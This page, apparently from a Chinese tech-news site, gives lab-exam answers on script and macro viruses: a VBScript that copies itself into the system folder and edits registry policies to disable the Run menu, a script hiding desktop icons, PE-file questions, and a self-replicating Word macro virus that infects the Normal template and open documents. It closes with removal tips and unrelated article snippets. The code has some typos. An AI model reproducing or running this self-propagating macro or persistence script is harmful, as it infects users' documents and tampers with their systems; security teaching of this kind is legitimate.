脚本/宏病毒

news/2024/11/1 8:50:32/

1、脚本病毒(10分)
编写脚本病毒代码并运行脚本,每个任务的脚本代码以单独文件的形式保存并提交,用录像工具录取脚本运行现象,脚本任务具体内容包括:
(1)禁止“运行”菜单;(5分)
On Error Resume Next
Set fs=CreateObject(“Scripting.FileSystemObject”)
Set dir1=fs.GetSpecialFolder(0)
Set dir2=fs.GetSpecialFolder(1)
Set so=CreateObject(“Scripting.FileSystemObject”)
dim r
Set r=CreateObject(“Wscript.Shell”)
so.GetFile(WScript.ScriptFullName).Copy(dir2&“\Win32system.vbs”)
r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoRun”,1,“REG_DWORD”
r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeCaption”,“S”
r.Regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Winlogon\LegalNoticeText”,“S”

(2)禁止“显示桌面所有图标”;(5分)
On Error Resume Next '启动或关闭一个错误处理常式
dim r '定义变量
Set r=CreateObject(“Wscript.Shell”) '创建并返回一个对 ActiveX 对象的引用
r.Regwrite “HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\NoDesktop”,0,“REG_DWORD”
'设置指定的注册表键或值;此为隐藏关闭按钮
2、PE文件分析(20分)
(1)用提供的工具PEditor查看系统中的“notepad.exe”的文件信息,完成下题:
1)查看“notepad.exe”共有 个节,分别是 。(4分)
2)文件头的特征值是 。(1分)
3)文件头部大小为 。(1分)
(2)用提供的压缩器UPX对notepad.exe进行压缩后生成notepad_upx.exe文件(3分),并完成下题:
1)用PEditor查看notepad_upx.exe文件共有 个节,分别是 。(4分)
2)比较notepad.exe和notepad_upx.exe的大小,在录像中打开相应窗口,完成比较即可。(2分)
(3)用Win Hex分别打开notepad.exe和notepad_upx.exe文件(2分),再比较PE头部分,用语言描述有什么不同 。(3分)
3、宏病毒(15分)
编写一段能够自我复制,感染word公用模板和当前文档的宏病毒并运行,观察word文档中毒之后的现象,然后对病毒进行清除。要求如下:
(1)弹出窗口的内容为“恭喜你中毒了”;(5分)
(2)使用录屏工具对实验过程(包括代码编写)进行录屏; (5分)
(3)描述清除病毒及加固的方法;(注:直接答在该题下面)(5分)

Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Opitons.SaveNormaPrompt = False
Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100)
Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> “'Micro-Virus” Then
.DeleteLine 1, .CountOflines
.InsertLines 1, Ourcode
.ReplaceLine2 , “SubDocument_Close()”
If ThisDocument = nomaltemplate Then
.replaceline 2, “Sub Document_Open()”
ActiveDocument.SaveAs ActiveDocument.FullName
End If
End If
End With
MsgBox “恭喜你中毒了”
End Sub
一旦发现计算机Office软件打开后弹出系统警告框,并且无法“另存为”,就表示该文件已感染宏病毒,此时不能再打开其他文件,否则病毒也会感染,应马上关闭删除该文件。若文件重要不能删除,则需用杀毒软件全盘扫面,处理感染文件;
开启禁用宏进行防止再次感染病毒。在“受信任位置”中,删除“可靠来源”列表框中的不安全来源,根据实际情况设置是否信任所有安装的加载项和模板,设置宏的安全性;
安装杀毒软件,打全系统补丁是预防计算机病毒的基本措施,当然也适用于宏病毒,除此这些常规手段之外,宏病毒还有专门的防治措施;


http://www.ppmy.cn/news/658998.html

相关文章

调用office的Excel制作统计图,并保存成图片

public class CMSChart{private Chart chart;public CMSChart(Chart chart){this.chart chart;}/// <summary>/// 保存图片/// </summary>/// <param name"fullPicName"></param>public void SaveAs(string fullPicName){ChartImageFormat …

AngularJS 0005:作用域

angularJS中有一个重要的属性Scope&#xff0c;作用域。 web编程中&#xff0c;我们需要获取页面中的某个控件&#xff0c;某个属性&#xff0c;一般我们都用到document或者类似的一个对象来获取整个表单的内容。 在angularJS中&#xff0c; Scope(作用域) 是应用在 HTML (视…

Vulnhub靶机 VULNOS: 2 writeup

下载地址&#xff1a;https://www.vulnhub.com/entry/vulnos-2,147/ 信息搜集 获取IP地址 扫描端口 80端口 点击website跳转到/jabc 在 jabc/?qnode/7 页面看起来啥也没有&#xff0c;但是CtrlA全选之后看到提示还有一个目录 /jabcd0cs/ 访问/jabcd0cs/ 在/jabcd0cs/发现…

MySQL:replace函数的几种实用场景,一个回答引发热烈讨论

| 7 | 疾风剑豪 | 亚索 | 6300 | —---------------------------------- 7 rows in set (0.00 sec) []()使用场景1 – (Query语句)&#xff1a;---------------------------------------------------------------------------------需求&#xff1a;把"hero\_title"…

MySQL:replace函数的几种实用场景

MySQL的Replace函数都有哪些用法&#xff0c;你是否都知晓呢&#xff1f;今天&#xff0c;让我带大家花几分钟时间来一起看一看&#xff0c;记得Mark&#xff01; 目录 REPLACE语法操作实例使用场景1 -- (Query语句)&#xff1a;使用场景2 -- (update语句)&#xff1a;使用场景…

MySQL最左匹配原则,道儿上兄弟都得知道的原则

自MySQL5.5版本起&#xff0c;主流的索引结构转为B树。B树的节点存储索引顺序是从左向右存储&#xff0c;在检索匹配的时候也要满足自左向右匹配。 目录 一、最左匹配原则的原理二、违背最左原则导致索引失效的情况三、查询优化器偷偷干了哪些事儿四、需要你mark的知识点1、如何…

【图文详解:索引极简教程】SQL 查询性能优化原理

简介 在一本厚厚的书籍的前几页&#xff0c;通常会有几页目录。作用是让读者可以快速找到感兴趣的章节进行阅读。 目录之所以可以快速阅读&#xff0c;是因为它提前进行了结构化有序处理。 同样的道理&#xff0c;数据库的数据表的文件下面(以 ClickHouse 为例)&#xff0c;通常…

触摸精灵 关于三剑豪手游的练级(练到10级) 制作 请大家帮忙一下!!谢谢大家了

SCREEN_RESOLUTION"768x1024"; SCREEN_COLOR_BITS32;-- 主入口 function main()rotateScreen(0);mSleep(1583);touchDown(11, 237, 808)mSleep(121);touchUp(11)mSleep(1000);touchDown(1, 673, 953)mSleep(151);touchUp(1)mSleep(1000);touchDown(11, 238, 816)mSle…